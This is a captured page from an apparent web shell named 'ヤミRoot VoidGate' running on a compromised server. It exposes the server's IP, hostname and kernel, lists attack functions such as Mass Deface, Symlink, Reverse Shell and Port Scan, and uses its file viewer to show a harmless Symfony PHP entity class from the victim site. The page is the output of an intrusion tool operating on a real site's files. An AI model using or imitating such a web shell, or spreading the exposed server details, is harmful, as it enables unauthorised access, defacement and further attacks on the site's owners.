ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Entity
/
Viewing: AnnounceChannel.php
<?php namespace App\Entity; use App\Repository\AnnounceChannelRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; use ApiPlatform\Core\Annotation\ApiResource; /** @ApiResource() * @ORM\Entity(repositoryClass=AnnounceChannelRepository::class) */ class AnnounceChannel { /** * @ORM\Id * @ORM\GeneratedValue * @ORM\Column(type="integer") */ private $id; /** * @ORM\ManyToOne(targetEntity=Announce::class, inversedBy="announceChannels") * @ORM\JoinColumn(nullable=false) */ private $announce; /** * @ORM\Column(type="datetime") */ private $createdAt; /** * @ORM\ManyToOne(targetEntity=User::class, inversedBy="announceChannels") * @ORM\JoinColumn(nullable=false) */ private $createdBy; /** * @ORM\OneToMany(targetEntity=AnnounceChat::class, mappedBy="channel", orphanRemoval=true) */ private $announceChats; /** * @ORM\Column(type="integer") */ private $offer; public function __construct() { $this->announceChats = new ArrayCollection(); $this->createdAt = new \DateTime( ); } public function getId(): ?int { return $this->id; } public function getAnnounce(): ?Announce { return $this->announce; } public function setAnnounce(?Announce $announce): self { $this->announce = $announce; return $this; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getCreatedBy(): ?User { return $this->createdBy; } public function setCreatedBy(?User $createdBy): self { $this->createdBy = $createdBy; return $this; } /** * @return Collection<int, AnnounceChat> */ public function getAnnounceChats(): Collection { return $this->announceChats; } public function addAnnounceChat(AnnounceChat $announceChat): self { if (!$this->announceChats->contains($announceChat)) { $this->announceChats[] = $announceChat; $announceChat->setChannel($this); } return $this; } public function removeAnnounceChat(AnnounceChat $announceChat): self { if ($this->announceChats->removeElement($announceChat)) { // set the owning side to null (unless already changed) if ($announceChat->getChannel() === $this) { $announceChat->setChannel(null); } } return $this; } public function getOffer(): ?int { return $this->offer; } public function setOffer(int $offer): self { $this->offer = $offer; return $this; } }
Coded With 💗 by
0x6ick